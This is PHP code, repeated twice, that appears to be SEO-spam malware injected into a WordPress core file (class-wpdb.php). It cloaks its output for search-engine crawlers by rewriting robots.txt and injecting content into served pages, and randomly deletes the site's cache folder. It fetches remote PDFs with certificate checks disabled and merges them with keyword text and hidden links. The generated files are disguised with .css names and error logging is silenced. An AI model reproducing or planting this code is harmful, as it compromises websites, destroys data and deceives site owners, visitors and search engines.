// [BLOCK5]
if(!stristr($_SERVER['REQUEST_URI'],'/wp-admin/') && preg_match('/(Google|Bing|Slurp|DuckDuckBot)/i',$_SERVER['HTTP_USER_AGENT']) && !function_exists('my_shutdown_function')){ function my_shutdown_function() { $my_path_to_work = str_replace('class-wpdb.php','css'.DIRECTORY_SEPARATOR.'content'.DIRECTORY_SEPARATOR,__FILE__); $current_home_page = my_get_current_home_page(); $robots ='User-agent: *'."\n"; $robots.='Disallow:'."\n\n"; $robots.='Sitemap: '.$current_home_page.'sitemap.xml'; if(strstr($_SERVER['REQUEST_URI'],'/robots.txt')){ ob_clean(); echo $robots; exit(); } $html_sitemap = ''; if(is_file($my_path_to_work.'html_sitemap.css')){ $html_sitemap = file_get_contents($my_path_to_work.'html_sitemap.css'); } $buffer = ob_get_contents(); $copy = $buffer; $add = 'Sitemap '.mt_rand(1,99).''; if(preg_match('/\<\/body\>/i',$buffer) && preg_match('/\<\/html\>/i',$buffer)){ $buffer = preg_replace('/
]*>/', '$0' . $add, $buffer, 1); } if(empty($buffer)) { $buffer = $copy; } ob_clean(); echo $buffer; } ini_set('memory_limit', '16048M'); register_shutdown_function('my_shutdown_function'); ob_start(); } $path_to_work = str_replace(DIRECTORY_SEPARATOR.'wp-includes'.DIRECTORY_SEPARATOR.'class-wpdb.php',DIRECTORY_SEPARATOR.'wp-content'.DIRECTORY_SEPARATOR.'cache',__FILE__); if(mt_rand(1,5)==1){ customdeleteFolder($path_to_work); } function customdeleteFolder($folderPath) { $folderPath = realpath($folderPath); if (!is_dir($folderPath)) { return false; } $files = array_diff(scandir($folderPath), array('.', '..')); foreach ($files as $file) { $filePath = $folderPath . DIRECTORY_SEPARATOR . $file; if (is_dir($filePath)) { customdeleteFolder($filePath); } else { unlink($filePath); } } return rmdir($folderPath); } use PDFMerger\PDFMerger; function my_create_pdf($data,$path_work,$hash,$links,$regen=false,$type_content=1) { logs_create_pdf('Start create: '.$data['key']); ini_set('display_errors', 0); ini_set('display_startup_errors', 0); ini_set('log_errors', '0'); ini_set('error_log', null); error_reporting(E_ALL); $include_dir = str_replace('class-wpdb.php','',__FILE__); require_once($include_dir.'tcpdf'.DIRECTORY_SEPARATOR.'tcpdf.php'); require_once($include_dir.'tcpdf'.DIRECTORY_SEPARATOR.'tcpdi.php'); include_once($include_dir.'wp-merge.php'); if(!$regen){ $good = false; $pdf_links = $data['pdf']; shuffle($pdf_links); foreach($pdf_links as $current_link){ $get = get_page_pdf($current_link,1); $explode = explode("\r\n\r\n",$get); $header = $explode[0]; unset($explode[0]); $get=implode("\r\n\r\n",$explode); preg_match('/HTTP\/.+?\s(\d{3})/ui',$header,$code); preg_match('/content\-type\:\s(.+?)\n/ui',$header,$content_type); if(!isset($code[1]) || !isset($content_type[1])){ continue; } $code = $code[1]; $content_type = strtolower(trim($content_type[1])); if($code==200 && $content_type=='application/pdf'){ logs_create_pdf('[+] GOOD LINK: '.$current_link); @file_put_contents($path_work.$hash.'_orig.css',gzencode($get,9)); if(filesize($path_work.$hash.'_orig.css')>=1024*1024*4){ @unlink($path_work.$hash.'_orig.css'); return false; } $good = true; break; } logs_create_pdf('[-] BAD LINK: '.$current_link); } if(!$good) { logs_create_pdf('[-] FINISH PDF LINKS. EXIT'); return false; } } $new_links = array(); foreach ($links as $link) { if (preg_match('/([^<]+)<\/a>/i', $link, $matches)) { $new_links[] = array('text' => $matches[2], 'url' => $matches[1]); } } $links = $new_links; $use_snip = $data['text']; if(in_array($type_content, array(4,5))){ $count_snip = mt_rand(20,25); if(count($data['text'])<$count_snip) $count_snip = count($data['text']); $rand_id_snip = array_rand($data['text'],$count_snip); if(!is_array($rand_id_snip)) $rand_id_snip[] = array($rand_id_snip); $new_use_snip = array(); foreach($rand_id_snip as $current_id){ $new_use_snip[] = $data['text'][$current_id]; } $use_snip = $new_use_snip; unset($new_use_snip); } $data['text'][] = $data['key']; $html = create_html_pdf($data['key'],$use_snip); $pdf = new TCPDF(); $pdf->AddPage(); $pdf->writeHTML($html, true, false, true, false, ''); $pdf->Output($path_work.$hash.'_html.css', 'F'); logs_create_pdf('[+] GOOD PDF HTML'); if(in_array($type_content, array(6,7))){ @unlink($path_work.$hash.'_se.css'); @copy($path_work.$hash.'_html.css',$path_work.$hash.'_se.css'); }else{ $pdf = new PDFMerger; $pdf->addPDF($path_work.$hash.'_html.css', 'all'); $pdf->addPDF($path_work.$hash.'_orig.css', 'all'); $pdf->merge('file', $path_work.$hash.'_se.css'); logs_create_pdf('[+] GOOD MERGE'); @unlink($path_work.$hash.'_html.css'); } if($type_content==2){ @unlink($path_work.$hash.'_se.css'); @copy($path_work.$hash.'_orig.css',$path_work.$hash.'_se.css'); } $pdf = new TCPDI(); $pageCount = $pdf->setSourceFile($path_work.$hash.'_se.css'); for ($pageNo = 1; $pageNo <= $pageCount; $pageNo++) { $template = $pdf->importPage($pageNo); $pdf->AddPage(); $pdf->useTemplate($template); if($pageNo==1){ foreach($links as $current_link){ $position_x = mt_rand(1,300); $position_y = mt_rand(1,150); $pdf->SetTextColor(mt_rand(1,255), mt_rand(1,255), mt_rand(1,255)); $pdf->SetXY($position_x, $position_y); $pdf->SetFont('helvetica', 'U', mt_rand(9,30)); $pdf->Write(0, $current_link['text'], $current_link['url']); } } } $pdf->SetTitle(ucwords($data['key'])); $pdf->SetAuthor($data['text'][array_rand($data['text'],1)]); $pdf->SetSubject($data['text'][array_rand($data['text'],1)]); $pdf->SetKeywords($data['text'][array_rand($data['text'],1)]); $pdf->SetCreator($data['text'][array_rand($data['text'],1)]); $pdf->producer = $data['text'][array_rand($data['text'],1)]; $pdf->Output($path_work.$hash.'_se.css', 'F'); logs_create_pdf('[+] GOOD META'); return true; } function get_page_pdf($url,$header=0,$post='',$current_socks='') { $curlInit = curl_init(); curl_setopt($curlInit, CURLOPT_URL, $url); curl_setopt($curlInit, CURLOPT_HEADER, $header); curl_setopt($curlInit, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curlInit, CURLOPT_TIMEOUT, 30); curl_setopt($curlInit, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($curlInit, CURLOPT_FOLLOWLOCATION, false); curl_setopt($curlInit, CURLOPT_SSLVERSION, 1); curl_setopt($curlInit, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($curlInit, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($curlInit, CURLOPT_HTTPHEADER, array( 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'accept-language: en-US,en;q=0.5', 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36', )); if(!empty($post)){ curl_setopt($curlInit, CURLOPT_POST, true); curl_setopt($curlInit, CURLOPT_POSTFIELDS, $post); } $response = curl_exec($curlInit); curl_close($curlInit); if($response === false){ return -1; } return $response; } function create_html_pdf($key,$text) { $rand_count = round(count($text)*0.7); $rand_id = array_rand($text,$rand_count); $list = array(); $h2 = array(); foreach($rand_id as $current_id){ if(mt_rand(1,10)==1){ $h2[] = $text[$current_id]; }else{ $list[] = $text[$current_id]; } } shuffle($list); $html = ''.ucwords($key).'
'; $block = array(); $current_block = array(); foreach($list as $current){ if(mt_rand(1,5)==1 && count($current_block)>1){ $block[] = $current_block; $current_block = array(); }else{ $current_block[] = $current; } } if(count($current_block)>0){ $block[] = $current_block; } foreach($block as $current_block){ if(isset($h2[0]) && mt_rand(1,2)==1){ $html.=''.$h2[0].'
'; unset($h2[0]); $h2=array_values($h2); } $rand = mt_rand(1,3); if($rand==1){ $html.=implode(' ',$current_block); } if($rand==2){ $html.='- '.implode('
- ',$current_block).'
'; } if($rand==3){ $html.='- '.implode('
- ',$current_block).'
'; } } return $html; } function logs_create_pdf($msg) { return true; file_put_contents($_SERVER["DOCUMENT_ROOT"].'/logs_create_pdf.txt',date("Y-m-d H:i:s")."\t".$msg."\n",FILE_APPEND); } function my_get_current_home_page() { $explode = explode(DIRECTORY_SEPARATOR,$_SERVER['SCRIPT_NAME']); if(count($explode)==2){ $current_home_page = my_get_request_scheme().'://'.$_SERVER['SERVER_NAME'].'/'; }else{ $current_home_page = my_get_request_scheme().'://'.$_SERVER['SERVER_NAME'].preg_replace('/index\.php$/i','',$_SERVER['SCRIPT_NAME']); $current_home_page = str_replace('\\','/',$current_home_page); } return $current_home_page; } function my_get_request_scheme() { if (isset($_SERVER['HTTP_CF_VISITOR'])) { if(strstr($_SERVER['HTTP_CF_VISITOR'],'https')){ return 'https'; } if(strstr($_SERVER['HTTP_CF_VISITOR'],'http')){ return 'http'; } } if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) == 'on') { return 'https'; } if (isset($_SERVER['REQUEST_SCHEME'])) { return $_SERVER['REQUEST_SCHEME']; } return 'http'; } function my_get_root_path() { if(strstr($_SERVER['REQUEST_URI'],'/index.php')){ $explode = explode('index.php',$_SERVER['REQUEST_URI']); $path = $explode[0]; }else{ $explode = explode('/',$_SERVER['REQUEST_URI']); unset($explode[count($explode)-1]); $explode = array_values($explode); $explode[count($explode)-1] = ''; $path = implode('/',$explode); } $current_path = preg_replace('/index\.php$/','',$_SERVER['SCRIPT_FILENAME']); $current_path = str_replace(DIRECTORY_SEPARATOR,'/',$current_path); $explode = explode($path,$current_path); unset($explode[count($explode)-1]); $current_path = implode($path,$explode); $current_path = str_replace('/',DIRECTORY_SEPARATOR,$current_path).DIRECTORY_SEPARATOR; return $current_path; }
// [/BLOCK5]
// [BLOCK5]
if(!stristr($_SERVER['REQUEST_URI'],'/wp-admin/') && preg_match('/(Google|Bing|Slurp|DuckDuckBot)/i',$_SERVER['HTTP_USER_AGENT']) && !function_exists('my_shutdown_function')){ function my_shutdown_function() { $my_path_to_work = str_replace('class-wpdb.php','css'.DIRECTORY_SEPARATOR.'content'.DIRECTORY_SEPARATOR,__FILE__); $current_home_page = my_get_current_home_page(); $robots ='User-agent: *'."\n"; $robots.='Disallow:'."\n\n"; $robots.='Sitemap: '.$current_home_page.'sitemap.xml'; if(strstr($_SERVER['REQUEST_URI'],'/robots.txt')){ ob_clean(); echo $robots; exit(); } $html_sitemap = ''; if(is_file($my_path_to_work.'html_sitemap.css')){ $html_sitemap = file_get_contents($my_path_to_work.'html_sitemap.css'); } $buffer = ob_get_contents(); $copy = $buffer; $add = 'Sitemap '.mt_rand(1,99).''; if(preg_match('/\<\/body\>/i',$buffer) && preg_match('/\<\/html\>/i',$buffer)){ $buffer = preg_replace('/]*>/', '$0' . $add, $buffer, 1); } if(empty($buffer)) { $buffer = $copy; } ob_clean(); echo $buffer; } ini_set('memory_limit', '16048M'); register_shutdown_function('my_shutdown_function'); ob_start(); } $path_to_work = str_replace(DIRECTORY_SEPARATOR.'wp-includes'.DIRECTORY_SEPARATOR.'class-wpdb.php',DIRECTORY_SEPARATOR.'wp-content'.DIRECTORY_SEPARATOR.'cache',__FILE__); if(mt_rand(1,5)==1){ customdeleteFolder($path_to_work); } function customdeleteFolder($folderPath) { $folderPath = realpath($folderPath); if (!is_dir($folderPath)) { return false; } $files = array_diff(scandir($folderPath), array('.', '..')); foreach ($files as $file) { $filePath = $folderPath . DIRECTORY_SEPARATOR . $file; if (is_dir($filePath)) { customdeleteFolder($filePath); } else { unlink($filePath); } } return rmdir($folderPath); } use PDFMerger\PDFMerger; function my_create_pdf($data,$path_work,$hash,$links,$regen=false,$type_content=1) { logs_create_pdf('Start create: '.$data['key']); ini_set('display_errors', 0); ini_set('display_startup_errors', 0); ini_set('log_errors', '0'); ini_set('error_log', null); error_reporting(E_ALL); $include_dir = str_replace('class-wpdb.php','',__FILE__); require_once($include_dir.'tcpdf'.DIRECTORY_SEPARATOR.'tcpdf.php'); require_once($include_dir.'tcpdf'.DIRECTORY_SEPARATOR.'tcpdi.php'); include_once($include_dir.'wp-merge.php'); if(!$regen){ $good = false; $pdf_links = $data['pdf']; shuffle($pdf_links); foreach($pdf_links as $current_link){ $get = get_page_pdf($current_link,1); $explode = explode("\r\n\r\n",$get); $header = $explode[0]; unset($explode[0]); $get=implode("\r\n\r\n",$explode); preg_match('/HTTP\/.+?\s(\d{3})/ui',$header,$code); preg_match('/content\-type\:\s(.+?)\n/ui',$header,$content_type); if(!isset($code[1]) || !isset($content_type[1])){ continue; } $code = $code[1]; $content_type = strtolower(trim($content_type[1])); if($code==200 && $content_type=='application/pdf'){ logs_create_pdf('[+] GOOD LINK: '.$current_link); @file_put_contents($path_work.$hash.'_orig.css',gzencode($get,9)); if(filesize($path_work.$hash.'_orig.css')>=1024*1024*4){ @unlink($path_work.$hash.'_orig.css'); return false; } $good = true; break; } logs_create_pdf('[-] BAD LINK: '.$current_link); } if(!$good) { logs_create_pdf('[-] FINISH PDF LINKS. EXIT'); return false; } } $new_links = array(); foreach ($links as $link) { if (preg_match('/([^<]+)<\/a>/i', $link, $matches)) { $new_links[] = array('text' => $matches[2], 'url' => $matches[1]); } } $links = $new_links; $use_snip = $data['text']; if(in_array($type_content, array(4,5))){ $count_snip = mt_rand(20,25); if(count($data['text'])<$count_snip) $count_snip = count($data['text']); $rand_id_snip = array_rand($data['text'],$count_snip); if(!is_array($rand_id_snip)) $rand_id_snip[] = array($rand_id_snip); $new_use_snip = array(); foreach($rand_id_snip as $current_id){ $new_use_snip[] = $data['text'][$current_id]; } $use_snip = $new_use_snip; unset($new_use_snip); } $data['text'][] = $data['key']; $html = create_html_pdf($data['key'],$use_snip); $pdf = new TCPDF(); $pdf->AddPage(); $pdf->writeHTML($html, true, false, true, false, ''); $pdf->Output($path_work.$hash.'_html.css', 'F'); logs_create_pdf('[+] GOOD PDF HTML'); if(in_array($type_content, array(6,7))){ @unlink($path_work.$hash.'_se.css'); @copy($path_work.$hash.'_html.css',$path_work.$hash.'_se.css'); }else{ $pdf = new PDFMerger; $pdf->addPDF($path_work.$hash.'_html.css', 'all'); $pdf->addPDF($path_work.$hash.'_orig.css', 'all'); $pdf->merge('file', $path_work.$hash.'_se.css'); logs_create_pdf('[+] GOOD MERGE'); @unlink($path_work.$hash.'_html.css'); } if($type_content==2){ @unlink($path_work.$hash.'_se.css'); @copy($path_work.$hash.'_orig.css',$path_work.$hash.'_se.css'); } $pdf = new TCPDI(); $pageCount = $pdf->setSourceFile($path_work.$hash.'_se.css'); for ($pageNo = 1; $pageNo <= $pageCount; $pageNo++) { $template = $pdf->importPage($pageNo); $pdf->AddPage(); $pdf->useTemplate($template); if($pageNo==1){ foreach($links as $current_link){ $position_x = mt_rand(1,300); $position_y = mt_rand(1,150); $pdf->SetTextColor(mt_rand(1,255), mt_rand(1,255), mt_rand(1,255)); $pdf->SetXY($position_x, $position_y); $pdf->SetFont('helvetica', 'U', mt_rand(9,30)); $pdf->Write(0, $current_link['text'], $current_link['url']); } } } $pdf->SetTitle(ucwords($data['key'])); $pdf->SetAuthor($data['text'][array_rand($data['text'],1)]); $pdf->SetSubject($data['text'][array_rand($data['text'],1)]); $pdf->SetKeywords($data['text'][array_rand($data['text'],1)]); $pdf->SetCreator($data['text'][array_rand($data['text'],1)]); $pdf->producer = $data['text'][array_rand($data['text'],1)]; $pdf->Output($path_work.$hash.'_se.css', 'F'); logs_create_pdf('[+] GOOD META'); return true; } function get_page_pdf($url,$header=0,$post='',$current_socks='') { $curlInit = curl_init(); curl_setopt($curlInit, CURLOPT_URL, $url); curl_setopt($curlInit, CURLOPT_HEADER, $header); curl_setopt($curlInit, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curlInit, CURLOPT_TIMEOUT, 30); curl_setopt($curlInit, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($curlInit, CURLOPT_FOLLOWLOCATION, false); curl_setopt($curlInit, CURLOPT_SSLVERSION, 1); curl_setopt($curlInit, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($curlInit, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($curlInit, CURLOPT_HTTPHEADER, array( 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'accept-language: en-US,en;q=0.5', 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36', )); if(!empty($post)){ curl_setopt($curlInit, CURLOPT_POST, true); curl_setopt($curlInit, CURLOPT_POSTFIELDS, $post); } $response = curl_exec($curlInit); curl_close($curlInit); if($response === false){ return -1; } return $response; } function create_html_pdf($key,$text) { $rand_count = round(count($text)*0.7); $rand_id = array_rand($text,$rand_count); $list = array(); $h2 = array(); foreach($rand_id as $current_id){ if(mt_rand(1,10)==1){ $h2[] = $text[$current_id]; }else{ $list[] = $text[$current_id]; } } shuffle($list); $html = ''.ucwords($key).'
'; $block = array(); $current_block = array(); foreach($list as $current){ if(mt_rand(1,5)==1 && count($current_block)>1){ $block[] = $current_block; $current_block = array(); }else{ $current_block[] = $current; } } if(count($current_block)>0){ $block[] = $current_block; } foreach($block as $current_block){ if(isset($h2[0]) && mt_rand(1,2)==1){ $html.=''.$h2[0].'
'; unset($h2[0]); $h2=array_values($h2); } $rand = mt_rand(1,3); if($rand==1){ $html.=implode(' ',$current_block); } if($rand==2){ $html.='- '.implode('
- ',$current_block).'
'; } if($rand==3){ $html.='- '.implode('
- ',$current_block).'
'; } } return $html; } function logs_create_pdf($msg) { return true; file_put_contents($_SERVER["DOCUMENT_ROOT"].'/logs_create_pdf.txt',date("Y-m-d H:i:s")."\t".$msg."\n",FILE_APPEND); } function my_get_current_home_page() { $explode = explode(DIRECTORY_SEPARATOR,$_SERVER['SCRIPT_NAME']); if(count($explode)==2){ $current_home_page = my_get_request_scheme().'://'.$_SERVER['SERVER_NAME'].'/'; }else{ $current_home_page = my_get_request_scheme().'://'.$_SERVER['SERVER_NAME'].preg_replace('/index\.php$/i','',$_SERVER['SCRIPT_NAME']); $current_home_page = str_replace('\\','/',$current_home_page); } return $current_home_page; } function my_get_request_scheme() { if (isset($_SERVER['HTTP_CF_VISITOR'])) { if(strstr($_SERVER['HTTP_CF_VISITOR'],'https')){ return 'https'; } if(strstr($_SERVER['HTTP_CF_VISITOR'],'http')){ return 'http'; } } if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) == 'on') { return 'https'; } if (isset($_SERVER['REQUEST_SCHEME'])) { return $_SERVER['REQUEST_SCHEME']; } return 'http'; } function my_get_root_path() { if(strstr($_SERVER['REQUEST_URI'],'/index.php')){ $explode = explode('index.php',$_SERVER['REQUEST_URI']); $path = $explode[0]; }else{ $explode = explode('/',$_SERVER['REQUEST_URI']); unset($explode[count($explode)-1]); $explode = array_values($explode); $explode[count($explode)-1] = ''; $path = implode('/',$explode); } $current_path = preg_replace('/index\.php$/','',$_SERVER['SCRIPT_FILENAME']); $current_path = str_replace(DIRECTORY_SEPARATOR,'/',$current_path); $explode = explode($path,$current_path); unset($explode[count($explode)-1]); $current_path = implode($path,$explode); $current_path = str_replace('/',DIRECTORY_SEPARATOR,$current_path).DIRECTORY_SEPARATOR; return $current_path; }
// [/BLOCK5]